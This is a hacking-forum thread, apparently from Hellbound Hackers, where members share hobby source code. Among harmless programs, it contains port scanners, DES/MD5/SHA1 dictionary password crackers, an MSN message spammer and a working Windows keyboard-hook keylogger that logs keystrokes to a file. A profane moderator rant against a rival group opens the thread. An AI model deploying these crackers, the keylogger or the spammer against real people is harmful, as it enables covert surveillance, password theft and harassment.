Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Source code


ghost's Avatar
0 0

** EDIT BY MR_CHEESE: To HBH Members reading this message: this will be removed shortly, just the facists at www.panf.info have stumbled across this site, because the "HBH Team" recently destroyed their racist community.

To PANF members reading this message: ok, lets get a few things straight.. this website has NOTHING to do with the HBH Team.. you fuck-sticks. The HBH Team is based somewhere external to this site. So, to put it simply so you racist cunts can understand… This website (HBH) is not affialted or condones any actions done by the HBH Team. HBH is not The HBH Team.

So dont go shouting abuse at HBH's members and thinking your really clever. beacuse they will have no clue as to what your on about. Not only that, but if you piss of certain members on this site.. you'll be in for alot of trouble!!

Anyway.. how stupid can you be. i mean FFS it takes you nearly a month to track The HBH Team to this website. what a bunch of idiots… at this rate i can see it taking you years to track The HBH Team to its actual headquarters. pfft retards.

p.s ROLFMAO at your site. you had it comming you red neck racists. have fun attempting to rebuild it. it will never be as it was. i'd give up now. LMAO**


BACK TO THE FORUM POST:

Well i don't know about you guys but i'm a fan of open source, i'm always curious how other people solve something and to see what they like to code etc. Especially when i'm out of ideas a good idea is always welcome so that's why i'm making this thread. So this is basically a parking spot for all your source code that you want to showoff so other people can worship you, learn from it, be amazed, flame you about it , etc etc .

Couple of guidelines:

-All programming languages, scripting languages etc goes. that means: -Python, Visual Basic, VB.NET, C, C++, C#, Assembler, Delphi, Java, Turbo Pascal , ….. -PHP, Javascript, Visual basic script, ASP, Batch, ….
Heck, even if you want to post a brainfuck script be my guest.

  • All source code is acceptable, even those for "educational purposes", but fit it with an appropriate disclaimer or use the one below.

-If there are 3th party things needed let us know.

-if it's very large code , host the source file somewhere and link it plz, so the layout doesn't get f*cked up.

-Maybe a little bit of yourself, how long you have been programming and wich languages you program in, average coding time a day etc.

-A quick comment on what it does, wich language it is and if you are willing to write a tutorial about it, if you used resources maybe a link or two.

-If somebody would want to see a tutorial about it then just post, if there are like 4 replies then a tutorial could be written. Not that i'm saying that you have to write it but it would spice up the programming section a bit ;)

//also small programming challenges are always welcome

########################################### DISCLAIMER
########################################### The whole hbh team, nor the starter of this thread takes any responsibilty of any malicious thing you are going to do with it. All the source code is for educational purposes only. Take responsibility for your own actions. ###########################################

So have fun posting your code, everybody's curious B)


ghost's Avatar
0 0

It took me about 5 months to finish this project… I invested a lot of time and emotion into it, so I feel a little sheepish about showing it to everyone, but here you go:

#include<stdio.h>

void main() { printf("Hello World"); }

########################################### DISCLAIMER ########################################### The whole hbh team, nor the starter of this thread takes any responsibilty of any malicious thing you are going to do with it. All the source code is for educational purposes only. Take responsibility for your own actions. ###########################################


ghost's Avatar
0 0

Hey! Grayhat! You stole that code from ME! That's my code! I'll sue, I swear!


ghost's Avatar
0 0

Marvelous, the geniousity, the creativity, the revolutionary ideas that hide after such few lines, brilliant.

Not exactly what i meant but you did a great job non the less. :)


n3w7yp3's Avatar
Member
0 0

heres a little DES dictionary cracker that i made in Perl:

#!/usr/bin/perl -w
 
use strict;
my $dict = shift || &usage;
my $hash = shift || &usage;
my $salt = substr($hash,0,2);
 
if(-e &quot;$dict&quot;)
{
        open(LIST, &quot;$dict&quot;) || die &quot;Could not open $dict.&#92;n&quot;;
        {
                print &quot;Starting $0 by n3w7yp3....&#92;n&quot;;
                print &quot;Cracking the hash &#92;&#39;$hash&#92;&#39; that has the salt &#92;&#39;$salt&#92;&#39; using the words in &#92;&#39;$dict&#92;&#39;...&#92;n&quot;;
                while(defined(my $passwd = &lt;LIST&gt;))
                {
                        chomp $passwd;
                        if(crypt($passwd, $salt) eq $hash)
                        {
                                print &quot;Password cracked!!!&#92;nThe password is: $passwd&#92;n&quot;;
                                close LIST;
                                exit;
                        }
                }
                close LIST;
                die &quot;The password was not found using the words from $dict.&#92;n&quot;;
        }
}
die &quot;$dict does not exist!&#92;n&quot;;
sub usage
{
        die &quot;Usage: $0 &lt;wordlist&gt; &lt;hash&gt;&#92;nWordlist is the file to get words from.&#92;nHash is the hash to crack.&#92;n&quot;;
}

nothing too special ;-)

—EDIT—

wtf? the code didnt tab over, and my backslashes didn't show up!


ghost's Avatar
0 0

nothing too special, a little game i made for linux in C++. I would post some vb stuff but thats quite hard to post.

#include &lt;iostream&gt;
#include &lt;iomanip&gt;

using namespace std;

int main()
{

int i;
string question;
int random_integer;
  for(i= 0; i &lt; 4; i++){
system(&quot;clear&quot;);
cout &lt;&lt; &quot;&#92;033[31m8-ball - by scankyfrank&#92;n&quot;;
system(&quot;sleep 0.3&quot;);
system(&quot;clear&quot;);
cout &lt;&lt; &quot;&#92;033[32m8-ball - by scankyfrank&#92;n&quot;;
system(&quot;sleep 0.3&quot;);
system(&quot;clear&quot;);
cout &lt;&lt; &quot;&#92;033[33m8-ball - by scankyfrank&#92;n&quot;;
system(&quot;sleep 0.3&quot;);
system(&quot;clear&quot;);
cout &lt;&lt; &quot;&#92;033[30m8-ball - by scankyfrank&#92;n&quot;;
}
while(question != &quot;quit&quot;){
random_integer = (rand()%10);
cout &lt;&lt; &quot;what is your question? &quot;;
cin &gt;&gt; question;
switch (random_integer)
     {
  case 1:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;Yes!&#92;n&quot;;
         break;

  case 2:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;No!&#92;n&quot;;
         break;
  case 3:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;Maybe...&#92;n&quot;;
         break;
  case 4:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;Definitely!&#92;n&quot;;
         break;
  case 5:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;Definitely Not!!!&#92;n&quot;;
         break;

  case 6:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;I&#39;m a computer! How should i know!!&#92;n&quot;;
         break;

  case 7:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;Without a doubt!&#92;n&quot;;
         break;

  case 8:
  system(&quot;clear&quot;);
     cout &lt;&lt; &quot;I doubt it!&#92;n&quot;;
         break;
  case 9:
    system(&quot;clear&quot;);
     cout &lt;&lt; &quot;Most probably!&#92;n&quot;;
         break;
     }
}

cout &lt;&lt; &quot;Bye&#92;n&quot;;

    return 0; 
}

ghost's Avatar
0 0

Language: C++ Purpose: Basic Portscanner

#include &lt;iostream&gt;
#include &lt;windows.h&gt;
#pragma comment(lib, &quot;ws2_32.lib&quot;)

using namespace std;
// Simple portscanner that shows the basics of socket use in C++
int main(){
//declaration of needed vars and everything
SOCKET mysocket;
int startport(0),endport(0);
char addres[MAX_PATH];
WSAData wsaData;
mysocket=WSAStartup(MAKEWORD(2,2) ,&wsaData);
if(mysocket==SOCKET_ERROR){
cout&lt;&lt;&quot;Socket could not be started&#92;n&quot;;
return 0;
}
cout&lt;&lt;&quot;Socket started&#92;n&quot;;
mysocket=socket(AF_INET, SOCK_STREAM,0);
SetConsoleTitle(&quot;$ FatBoy PortScanner $&quot;);
cout&lt;&lt;&quot;&#92;n&quot;;
cout&lt;&lt;&quot;################&#92;n&quot;;
cout&lt;&lt;&quot;|PortScanner   |&#92;n&quot;;
cout&lt;&lt;&quot;|Written in C++|&#92;n&quot;;
cout&lt;&lt;&quot;|By            |&#92;n&quot;;
cout&lt;&lt;&quot;|Anarcho-Hippie|&#92;n&quot;;
cout&lt;&lt;&quot;################&#92;n&quot;;
cout&lt;&lt;&quot;&#92;n&quot;;
cout&lt;&lt;&quot;&#92;n&quot;;
cout&lt;&lt;&quot;&#92;n&quot;;
cout&lt;&lt;&quot;input ip addres here: &quot;;
cin&gt;&gt;addres;
cout&lt;&lt;&quot;&#92;n&quot;;
cout&lt;&lt;&quot;The Starting Port: &quot;;
cin&gt;&gt;startport;
cout&lt;&lt;&quot;&#92;n&quot;;
cout&lt;&lt;&quot;The Ending Port: &quot;;
cin&gt;&gt;endport;
cout&lt;&lt;&quot;&#92;n&quot;;

endport++;
cout&lt;&lt;&quot;###########################################################################&#92;n&quot;;
do
{
loop:
SOCKADDR_IN server;
server.sin_port=htons(startport);
server.sin_family=AF_INET;
server.sin_addr.s_addr=inet_addr(addres);

if(connect(mysocket,(SOCKADDR*)(&server),sizeof(server))==SOCKET_ERROR)
{
cout&lt;&lt;startport&lt;&lt;&quot; is currently on a holiday.&#92;n&quot;;
startport++;
if(startport&gt;=endport)
{
	cin.get();
	break;
}
goto loop;
}
else{
cout&lt;&lt;&quot;Port &quot;&lt;&lt;startport&lt;&lt;&quot; is having a yardsale!&#92;n&quot;;
closesocket(mysocket);
mysocket=socket(AF_INET,SOCK_STREAM,0);
startport++;
if(startport&gt;=endport)
{
	cin.get();
	break;
}
goto loop;
}
}while (startport != endport);
cout&lt;&lt;&quot;###########################################################################&#92;n&quot;;
cout&lt;&lt;&quot;thanks for using me!&#92;n&quot;;
cin.get();
}

the freaky 92; thingies are backslashes


ghost's Avatar
0 0

scankyfrank wrote: I would post some vb stuff but thats quite hard to post.

Just post the code then post the layout and the components attached to it.,


n3w7yp3's Avatar
Member
0 0

its kinda hard to post code here as it does not come out right… :-/


ghost's Avatar
0 0

Yeah it doesn't include tabs and the backslash get's coded out, but anyone with half a brain in the programming language can see what it has to be, besides that, nice cracker. Also if somebody has some vb projects that they want to share but it's to hard to post just zip in the project files and host it somewhere, then post the link.

Programming language:VB Purpose: To get back on annoying people who don't get a clue.

&#39;#########################################
&#39;|Msn Spammer written by Anarcho-Hippie  |
&#39;|Some bugs need to be fixed, but it&#39;s   |
&#39;|working normally. Just to show how to  |
&#39;|make msn addons in vb.                 |
&#39;#########################################

Public WithEvents msn As MessengerAPI.Messenger


Private Sub cmdstop_Click()
txtAantal.Text = 0
txtmessage.Text = &quot;&quot;
End Sub

Private Sub Command1_Click()
Dim i As Integer
If txtcontact.Text &lt;&gt; &quot;&quot; And txtmessage.Text &lt;&gt; &quot;&quot; And txtAantal.Text &lt;&gt; &quot;&quot; Then
cmdstop.Visible = True
For i = 0 To txtAantal.Text
Set MsnWindow = msn.InstantMessage(txtcontact.Text)
SendKeys (txtmessage.Text)
SendKeys &quot;{ENTER}&quot;
Next
txtAantal.Text = 0
Else
MsgBox (&quot;Click on a contact, choose how many times, then input your message&quot;)
txtcontact.Text = &quot;&quot;
End If
End Sub

Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
Dim msncontact As IMessengerContact
Dim msncontacts As IMessengerContacts
Set msncontacts = msn.MyContacts
For Each msncontact In msncontacts
If msncontact.Status = MISTATUS_ONLINE Then
List1.AddItem (msncontact.SigninName)
End If
Next
End Sub

Private Sub List1_Click()
Dim email As String
Dim num As Integer

num = List1.ListIndex
email = List1.List(num)
txtcontact = email
End Sub

ghost's Avatar
0 0

I'd try avoiding goto's in your C++ port scanner, but it's a mighty fine intro to winsock at least, pretty nice. Anyways, I made a ServerBetaAlpha v.00000000000111111423562782 HTTP daemon

It's Winsock oriented, uses asynch sockets, compiled under VC++ (6.0) and basically I stopped working on it because I was lyke, should each client be given their own thread? Should I use a linked list to store connections on FD_ACCEPT? omg i do not no! If anyone has any advice on how to handle client connections effectively, they should tell me ;) but otherwise my project will sit here outputting a default text. Anyways, more basic functional code, a bruteforce string generator! You know, like for Cain and such:

#include &lt;string&gt;
using std::string;
using std::cout;
using std::endl;
int main() {
    string s = &quot;aaaa&quot;;  
    int i = 0;
    int length = s.length(); 
    while(s[i]++)
    {
           
          while(s[i] == &#39;z&#39; + 1) {
                s[i] = &#39;a&#39;;
                s[++i]++;
          }
          if(i == length)
          {
               break;
          }
          cout &lt;&lt; s &lt;&lt; endl;
          i = 0;
    }
    cout &lt;&lt; &quot;done&quot;;
    return 0;
}```


Annnnnddd, now in NASM syntax! Assembles: nasm prog.asm -o prog.com (yeah...com for now)

```markuporg 100h
    mov ah, 09h           ; For int 21h
    mov edx, string       ; &quot;Load&quot; string into dx
    mov ebx, 0            ; &quot;placeholder&quot; var

L1:
    int 21h               ; Printit
    inc byte[edx]         ; First character
    cmp byte[edx], &#39;z&#39;    ; if &#39;z&#39;, process
    jle L1                ; if not z, jump back
    mov ebx, 0            ; if it falls through
                          ; Reset ebx counter
L2:
    mov byte[edx+ebx],&#39;a&#39; ; When the character is &#39;z&#39; reset
    inc ebx               ; increase placeholder
    inc byte[edx+ebx]     ; increase char next to it
    cmp byte[edx+ebx],&#39;z&#39; ; Jump back if the char isn&#39;t &#39;z&#39; 
    jle L1 
    cmp ebx, 03h          ; Check for end of string
    jle L2                ; Jump to L2 is it&#39;s not



    mov ax,04c00h         ; Errorlevel in al
    int 021h              ; Terminate



string  db &#39;aaaaa&#39;, 0Dh,&#39;$&#39;```


OMG THE DEVS SHOULD ALLOW LIKE &lt;PRE&gt; TAGS IN THE CODE FORMATTING SO THAT IT DOESN&#39;T MAKE MY FEELINGS CRY KK?? 

ghost's Avatar
0 0

right, i made an encryption in c++. I think its quite original becuase i haven't seen anything like it before so if you know what kinda encryption this is please tell me.

#include &lt;iostream&gt;
using namespace std;
int main()
{
const int max = 80;
char str[max];
int count = 0;
int i = 0;
string encryption = &quot;&quot;;


cout &lt;&lt; &quot;Enter a string:&#92;n&quot;;
cin.getline(str,max,&#39;&#92;n&#39;);

while(str[count] != &#39;&#92;0&#39;)
count++;

for(i = count; i &gt;=0; i--)
{
encryption = encryption + str[i] + str[i+1];
}
cout &lt;&lt; encryption;
cout &lt;&lt; &quot;&#92;n&quot;;
return 0;
}


also, i'm working on the decryption now, i know how it should work but i'm not sure how to code a curtain bit. So i've decided to make it a programming challenge for someone :).


ghost's Avatar
0 0

I'm, uh, a bit confused about your program to say the least ;)

You calculate count with a newline, which is your delineator, so it'll just run off into memory until it some how hits a 0x0A by chance :o (unless your iostream is crazy)

Then uh, I guess you work backwards from the end so like if I had entered 'hello' it would say

enc += ol; enc += ll; enc += el; enc += he;

So then the encrypted string is 'olllleehh' (or lollelhe if I did it backwards), but this is hardly the case with your code, just the operator overloading on the '+' fucks things up, so that hardly works on my computer. Am I right on any of this? If so, I'm gonna make kind of a, uh, 'better' one:

#include &lt;string&gt;
using namespace std;
int main()
{
	string szEncout;
	string szInput;

	cout &lt;&lt; &quot;Enter a string:&#92;n&quot;;
	getline(cin, szInput);

	for(int i = szInput.length() - 1; i &gt; 0; i--)
	{
		szEncout += szInput[i-1];
		szEncout += szInput[i];
	}



	cout &lt;&lt; szEncout;
	cout &lt;&lt; &quot;&#92;n&quot;;
	return 0;
}```

And here&#39;s the decryptor (for the lollelhe one, the other would have been stupid!) I am infinitely ashamed that I had to resort to a char array, but assigned these values with the [] was shit, I don&#39;t know, all this overloading on the underside of things. So I did char* buf = new char[inputlen]; because the source string is guaranteed to be smaller than the encrypted one ;)
```markup#include &lt;iostream&gt;
#include &lt;string&gt;
using namespace std;


int main()
{
	string szEncin = &quot;&quot;;
	cout &lt;&lt; &quot;Enter encrypted string: &quot;;
	getline(cin, szEncin); 
	int i = szEncin.length() - 1;
	char* szOut = new char[i];


	///////////
	// Decryption scheme, i -= 2
	// is crucial, write it out on
	// paper to be sure ;)
	///////////
	
	int j = 0;
	for(; i &gt; 0; i-=2, j++)
	{
		szOut[j] = szEncin[i-1];
		szOut[j+1] = szEncin[i];
	} szOut[j+1] = 0;
	cout &lt;&lt; szOut;

	
	return 0;
}```



Oh well, whatever, I figured I&#39;d post a hasher I made a little while ago that SUCKS ASS! No padding, the free() doesn&#39;t work so there&#39;s a (small) memory leak, and input needs to be greater than 32 for this to work!

```markup#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;malloc.h&gt;

char* output = (char*) calloc(32, 1);
char* Hash(char* input, int length)
{
     for(int i = 0; i &lt; length; i++)
     {
           output[i%32] = (input[i] ^ i);
           output[i%32] %= 26; // Forces it into 26 letter alph
           output[i%32] += 97; // Makes it lower case, from 26
     }
     output[32] = 0; // Null terminate, no weird heap stuff
     return output;
}
int main(int argc, char* argv[])
{
     printf(&quot;&#92;n&#92;tFinal: %s&quot;, Hash(argv[1], strlen(argv[1])));
     return 0;
}```

Sample output:
C:&#92;Tests&#92;Debug&gt;test omgomgomgomgomgomgomgomgomgomgomgomgomgomgomgomgomg

        Final: tabqxunurarsxopurohwlstipmvmjsjk


Post some more code guys :)

ghost's Avatar
0 0

basic text editor :P ```markup#!/python24 print "Hello and welcome to the most basic text editor creater ever. Remember once writing the document pressing enter will close it." b = raw_input( "What shall the file be named? " ) c = open( b + ".txt", "a" ) c.write( raw_input( "Type document now: " ) )

four lines lol

ghost's Avatar
0 0

nice. and it is basic code so anyone could add functions to it! Good job! :p


ghost's Avatar
0 0

portscanner in python

#!/python24
import socket
host = raw_input(&quot;What is the IP? &quot;)
port0 = raw_input(&quot;What is the starting port? &quot;)
port1 = raw_input(&quot;What is the finishing port? &quot;)
output = raw_input(&quot;What shall the log output file be called? &quot;)
port = port0
print &quot;Scanning ports...&quot;
z = open(output + &quot;.txt&quot;, &quot;a&quot;)
z.write(&quot;Scan result: &quot;)
z.close()
while int(port) &lt;= int(port1):
   try:
      s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect((host, int(port)))
      z = open(output + &quot;.txt&quot;, &quot;a&quot;)
      z.write(&quot;Port: &quot; + str(port) + &quot; is open.  &quot;)
      z.close()
      s.close()
      print port
      port = int(port) + 1      
   except socket.error:
      z = open(output + &quot;.txt&quot;, &quot;a&quot;)
      z.write(&quot;Port: &quot; + str(port) + &quot; is closed.  &quot;)
      z.close()
      s.close()
      print port
      port = int(port) + 1

ghost's Avatar
0 0

This is a procedure to make a list into a matrix. Does anyone know what language this is?

(define makesublist
  (lambda (list size)
    (if (zero? size)
	&#39;()
	(cons (car list) (makesublist (cdr list) (- size 1))))))

(define shortlist
  (lambda (list number)
    (if (zero? number)
	list
	(shortlist (cdr list) (- number 1)))))

(define list-&gt;matrix
  (lambda (list)
    (let ([number (list-ref list 0)]
	  [size (list-ref list 1)])
      (makelist (cddr list) number size))))

(define makelist
  (lambda (list number size)
      (if (null? list)
	  &#39;()
	  (cons (makesublist list size) (makelist (shortlist list size) number size)))))

ghost's Avatar
0 0

Oh man… the memories… Not too sure if I wanted to remember Scheme. Meh


ghost's Avatar
0 0

dictionary md5 pass-cracker in python. very fast in IDLE.

import md5
a = raw_input(&quot;What is the hash to be cracked? &quot;)
z = raw_input(&quot;Where is the dictionary file? &quot;)
c = 0
b = open( z, &quot;r&quot;)
b.seek(0)
while ( c != a ):
    x = b.readline()
    c = md5.new(x).hexdigest()
    print x
d = open(&quot;Password.txt&quot;, &quot;a&quot;)
d.write(&quot;Hash: &quot; + a + &quot; Password: &quot; + x)```


n3w7yp3's Avatar
Member
0 0

a little Perl script that will do a dictionary attack on a DES, MD5 or SHA1 hash. it will identify the appropriate algorithm to use and spit out the password if it is in the wordlist provided. it is pretty fast.

#!/usr/bin/perl -w

# written by n3w7yp3

use strict;
use Digest::MD5;
use Digest::SHA1;
my $dict = shift || &usage;
my $hash = shift || &usage;
my $count = 0;
print &quot;Starting $0 by n3w7yp3...&#92;n&quot;;
if(!(-e &quot;$dict&quot;))
{
	die &quot;$dict does not exist!&#92;n&quot;;
}
open(LIST, &quot;$dict&quot;) || die &quot;Unable to open $dict!&#92;n&quot;;
print &quot;Cracking the hash &#92;&#39;$hash&#92;&#39;, using the words in &#92;&#39;$dict&#92;&#39;...&#92;n&quot;;
if($hash =~ /^.{32}$/)
{
	&md5;
}
if($hash =~ /^.{40}$/)
{
	&sha1;
}
else
{
	&des;
}
sub usage
{
	die &quot;Usage: $0 &lt;wordlist&gt; &lt;hash&gt;&#92;nWordlist is the wordlist to get words from.&#92;nHash is the hash to crack. Valid hash types are: DES, MD5, and SHA1.&#92;n&quot;;
}
sub md5
{
	print &quot;Algorithm is: MD5.&#92;n&quot;;
	while(defined(my $password = &lt;LIST&gt;))
	{
		chomp $password;
		my $new_md5 = Digest::MD5 -&gt; new;
		$new_md5 -&gt; add (&quot;$password&quot;);
		my $new_md5_hash = $new_md5 -&gt; hexdigest;
		$count++;
		if($new_md5_hash eq $hash)
		{
			
			print &quot;Password cracked!!!&#92;n&quot;;
			print &quot;Password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			close LIST;
			exit;
		}
	}
	close LIST;
	die &quot;The password was not found in the words from &#92;&#39;$dict&#92;&#39;.&#92;n&quot;;
}
sub sha1
{
	print &quot;Algorithm is: SHA1.&#92;n&quot;;
	while(defined(my $password = &lt;LIST&gt;))
	{
		chomp $password;
		my $new_sha1 = Digest::SHA1 -&gt; new;
		$new_sha1 -&gt; add (&quot;$password&quot;);
		my $new_sha1_hash = $new_sha1 -&gt; hexdigest;
		$count++;
		if($new_sha1_hash eq $hash)
		{
			print &quot;Password cracked!!!&#92;n&quot;;
			print &quot;Password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries,&#92;n&quot;;
			close LIST;
			exit;
		}
	}
	close LIST;
	die &quot;The password was not found in the words from &#92;&#39;$dict&#92;&#39;.&#92;n&quot;;
}
sub des
{
	my $salt = substr($hash,0,2);
	print &quot;Algorithm is: DES.&#92;n&quot;;
	print &quot;Salt is: $salt&#92;n&quot;;
	while(defined(my $password = &lt;LIST&gt;))
	{
		chomp $password;
		$count++;
		if(crypt($password, $salt) eq $hash)
		{
 			print &quot;Password cracked!!!&#92;n&quot;;
			print &quot;Password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			close LIST;
			exit;
		}
	}
	close LIST;
	die &quot;The password was not found in the words from &#92;&#39;$dict&#92;&#39;.&#92;n&quot;;
}
		

ghost's Avatar
0 0

Check it out, I made a keylogger (ultra beta alpha v0.000000121541) that doesn't copy the fucking NewOrder or MSDN examples like all the other kiddies do when they think they made a keylogger!

The .dll code (used for the global logger hook)


HHOOK		hKeyhook;
TCHAR		szBuf[1];
DWORD		dwBytes;
HANDLE		g_hFile;



BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    /////////////
	// This is very beta and I am still working on what
	// is actually happening. When logger exe attaches
	// Log file is created, on detach, handle close??
	//////////////
	switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH: 	
			g_hFile = ::CreateFile
					(&quot;C:&#92;&#92;log.txt&quot;, GENERIC_WRITE, 0, NULL, 
					CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        case DLL_THREAD_ATTACH: break;
        case DLL_THREAD_DETACH: break;

        case DLL_PROCESS_DETACH: ::CloseHandle(g_hFile);
    }

    return TRUE;
}
LRESULT WINAPI CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
	
	
	if( code &lt; 0 ) 
		return CallNextHookEx( hKeyhook, code, wParam, lParam );


	///////////
	// Process the hook, key messages
	// are in wParam, lParam contains
	// mostly useless info I had trouble
	// implementing and gave up
	///////////
	else if( wParam == VK_SPACE ) ::WriteFile( g_hFile, &quot; &quot;, 1, &dwBytes, NULL );
	else if( wParam == VK_RETURN ) ::WriteFile( g_hFile, &quot;&#92;n&quot;, 1, &dwBytes, NULL );
	
	///////////////
	// Letters and such
	///////////////
	else if( wParam &gt; 0x40 && wParam &lt; 0x5B ) 
	{
		if( GetKeyState( VK_CAPITAL ) ) { 
			szBuf[ 0 ] = wParam;
			szBuf[ 1 ] = &#39;&#92;0&#39;; 
			::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
		} 
		else 
		{ 
			szBuf[ 0 ] = wParam;
			szBuf[ 1 ] = &#39;&#92;0&#39;; 
			::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
		}
	}
	return CallNextHookEx(hKeyhook, code, wParam, lParam);
}```


The .exe (set&#39;s up keyhook, etcetra)
```markup#define WIN32_LEAN_AND_MEAN
#include &lt;windows.h&gt;

void Error(char s[])
{
	TCHAR errBuff[ 1024 ];
	wsprintf( errBuff, &quot;%s: %ld&quot;, s, GetLastError() );
	::MessageBox(NULL, errBuff, &quot;Rawr.&quot;, 0);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {


	HHOOK		hKeyhook;
	HINSTANCE	hLib;
	HOOKPROC	hProc;
	MSG			message;


	//////////////
	// DLL lib containing our
	// filter function for hook
	///////////////
	hLib = ::LoadLibraryEx
		(&quot;C:&#92;&#92;keylog&#92;&#92;Debug&#92;&#92;keylog.dll&quot;,
		NULL, DONT_RESOLVE_DLL_REFERENCES );


	if(hLib == NULL) 
	{ 
		Error(&quot;Keylog library could not be loaded&quot;); return 0; 
	}
	
	///////////////////
	// This loads our filter functionhellohhhelo
	// that logs all keystrokeshhellohThis Is A Test This Is A TEst
	//////////////////
	hProc = (HOOKPROC) ::GetProcAddress(hLib, &quot;KeyboardProc&quot;);
	if(hProc == NULL) 
	{ 
		Error(&quot;Keyhook procedure not located; failed&quot;); return 1;
	}
	

	hKeyhook = SetWindowsHookEx(WH_KEYBOARD, hProc, (HINSTANCE) hLib, 0);
	
	
	/////////////
	// Message loop of hell
	/////////////
	while ( ::GetMessage(&message, NULL, 0, 0) ) {
		    ::TranslateMessage( &message );
			::DispatchMessage( &message );
    }



	::UnhookWindowsHookEx(hKeyhook);
	::FreeLibrary(hLib);
	return 0;
}```

The code looks much better with whitespace and tabbing, but the forums kind of mess that up eh?

ghost's Avatar
0 0

my md5 cracker required you to input too much data us lazy people like to just copy-paste :D

import md5
e = open(&quot;C:/hash.txt&quot;, &quot;r&quot;)
a = e.readline()
c = 0
b = open(&quot;C:/wordlists/wordlist.txt&quot;, &quot;r&quot;)
b.seek(0)
while ( c != a ):
    x = b.readline()
    c = md5.new(x).hexdigest()
d = open(&quot;Password.txt&quot;, &quot;a&quot;)
d.write(&quot;Hash: &quot; + a + &quot; Password: &quot; + x)

as you can see it uses c:/wordlists/wordlist.txt for the dictionary and C:/hash.txt as teh hash source just have the hash in there on the top line and with nothing else :d also fix the tabs >.<


ghost's Avatar
0 0

made it for quick checking of my md5 cracker this didn't really work but still gives the results don't ask me why.

#!/pyhton24
import md5
a=md5.new(raw_input(&quot;What is the password? &quot;)).hexdigest()
print &quot;The hash is &quot; + a
b=open(&quot;c:/hash.txt&quot;, &quot;w&quot;)
b.write(a)
raw_input()

enjoy.


ghost's Avatar
0 0

SeventhSage wrote: Oh man… the memories… Not too sure if I wanted to remember Scheme. MehYea, but you didn't have Claude.


ghost's Avatar
0 0

This code generates a maze that has only one correct solution and each cell is accessable. It's written in C with OpenGL

#include &lt;time.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
#include &quot;stack.h&quot;
#include &lt;GL/glut.h&gt;

/* definitions */
#define WALL 1
#define NOWALL 0
#define MAXSIZE 128
#define RIGHT 0
#define TOP 1
#define LEFT 2
#define BOTTOM 3

/* for random numbers generator */
#if defined (_WIN32)
 #define SEED srand
 #define RANDNUM rand
 #define RANDMAX RAND_MAX
#else
 #define SEED srandom
 #define RANDNUM random
 #define RANDMAX (1u&lt;&lt;31)-1
#endif

/* global variables */
int horiz [MAXSIZE+1][MAXSIZE];
int verti [MAXSIZE][MAXSIZE+1];

/* functions */
void openInOut();
void initMaze(int m, int n);
void generateMaze ();
bool cellsAvailable(int i, int j, int direction);
void visitCell(int iStart, int jStart);
void displayMaze();
void displayCallback();

void openInOut() {
  /*	Creates a random entrance and a random exit to the maze.
   *	The entrance is on the left side of the maze.
   *	The exit is on the right side of the maze.
   */
  int val = int(Y * rand()/(RAND_MAX+1.0));
  verti[0][val] = NOWALL; // entrance
  val = int(Y * rand()/(RAND_MAX+1.0));
  verti[X][val] = NOWALL; // exit
}

void initMaze(int m, int n) {
  /*	Makes sure the maze isn&#39;t too big or too small.
   *	Intializes the stack (in stack.h).
   */
  if(m &lt; 4)
    m = 4;
  if(m &gt; 64)
    m = 64;
  if(n &lt; 4)
    n = 4;
  if(n &gt; 64)
    n = 64;
  
  initStack(m,n);
}

void generateMaze () {
  /*	Starts maze generation.  Sets all walls to on.
   *	Finds a random starting spot in the maze.
   *	Calls visitCell to knock down internal walls.
   *	Calls openInOut to open up an entrance and an exit to the maze.
   */    
  int i;
  int j;
  int iStart;
  int jStart;
  for(i = 0; i &lt; X ; i++) {
    for(j = 0; j &lt; Y + 1; j++) {
      horiz[i][j] = WALL; // all horizontal walls on
    }
  }
  for(i = 0; i &lt; X + 1; i++) {
    for(j = 0; j &lt; Y; j++) {
      verti[i][j] = WALL; // all vertical walls on
    }
  }
  
  /* start somewhere along in the maze */
  iStart = int(X * rand()/(RAND_MAX+1.0));
  jStart = int(Y * rand()/(RAND_MAX+1.0));
  
  /* Now, traverse the maze, and crack down enough walls to make a
     perfect maze */
  visitCell(iStart, jStart);
  openInOut(); /* Open up an entrance and exit to the maze */
  
}

bool cellsAvailable(int i, int j, int direction) {
  /*	Tells if the adjacent cells are available.
   *	Here available means that the cells are within
   *	the maze boundry (the switch statement), and that
   *	no walls of the adjacent cell have been removed.
   */
  switch(direction) {
  case RIGHT:
    i++;
    if(i &gt;= X) // off the right side of the maze
      return false;
    break;
  case TOP:
    j++;
    if(j &gt;= Y) // above the maze
      return false;
    break;
  case LEFT:
    i--;
    if(i &lt; 0) // off the left side of the maze
      return false;
    break;
  case BOTTOM: 
    j--;
    if(j &lt; 0) // below the maze
      return false;
    break;
  }
  
  // checking to see if any walls have been knocked down
  if(verti[i][j] == NOWALL || 
     verti[i + 1][j] == NOWALL || 
     horiz[i][j] == NOWALL || 
     horiz[i][j + 1] == NOWALL) { 
    return false;
  }
  return true;
}

void visitCell(int iStart, int jStart) {
  /*	Here the maze generation algorithm executes.
   *	See below comments for more detailed description
   *	of how this algoritm works.
   */
  int iNext = iStart;
  int jNext = jStart;
  Cell currentCell; // struct defined in stack.h
  char availableCells[4];
  int availableCount = 4;
